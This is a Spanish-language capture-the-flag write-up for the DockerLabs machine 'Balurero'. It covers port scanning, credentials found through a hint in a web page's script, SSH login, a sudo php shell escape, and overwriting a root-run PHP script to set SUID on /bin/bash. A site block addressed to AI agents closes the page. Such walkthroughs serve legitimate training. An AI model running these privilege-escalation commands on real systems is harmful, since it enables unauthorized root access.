# Balurero

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 172.17.0.2
```

para verificar la conectividad de red.

<figure><img src="/files/mPYNd55f6Ycq4oFBBUpJ" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/k971CSHj7yg8bpMZzWJZ" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.&#x20;

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80 -v 172.17.0.2
```

para obtener más información sobre esos puertos específicamente.

<figure><img src="/files/4VqzDFB4AoJmhRWsCjjY" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora indagamos sobre el **servicio HTTP**. Se ingresó la **dirección IP** en el navegador lo que llevó a que la página web sea una página sobre Balú el perro de Mario.

<figure><img src="/files/4kLNtTqleHbdqVBypBzN" alt=""><figcaption></figcaption></figure>

Revisando el código fuente y todos sus archivos encontramos en el `script.js` un mensaje que nos llama la atención.

<figure><img src="/files/sNlEAxBSlUgLaqJRF0dt" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Entramos a través del navegador a ese directorio.

<figure><img src="/files/JEGJXLYCZGbx5qJcj1Ab" alt=""><figcaption></figcaption></figure>

Tras encontrar sus credenciales nos logueamosa tavés de **SSH**.

```bash
ssh balu@172.17.0.2
```

<figure><img src="/files/dRiCbKbPlghU7yjFJ5W6" alt=""><figcaption></figcaption></figure>

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.

<figure><img src="/files/DFCf0yF7JGoTq7RD8mNn" alt=""><figcaption></figcaption></figure>

Nos llama la atención **php** por lo que buscamos en esta [página ](https://gtfobins.github.io/gtfobins/php/)cómo explotarlo.

```bash
sudo -u chocolate php -r "system('/bin/bash');"
```

Somos el usuario **chocolate** pero no tenemos permisos **SUDO**.

<figure><img src="/files/JBVVm58kk7QvAbrNrDAy" alt=""><figcaption></figcaption></figure>

Revisando los directorios encontramos un archivo llamado `script.php` por lo que miramos si se puede modificar para obtener una **shell**.

<figure><img src="/files/1x8jRhCYgnMD78L8x5no" alt=""><figcaption></figcaption></figure>

```bash
echo -e "<?php\n\tsystem('chmod u+s /bin/bash');\n?>" > /opt/script.php
bash -p
```

Ya somos **root**.

<figure><img src="/files/V4m1WZRSPpzINcB22FfB" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://beafn28.gitbook.io/beafn28/writeups/dockerlabs/balurero.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
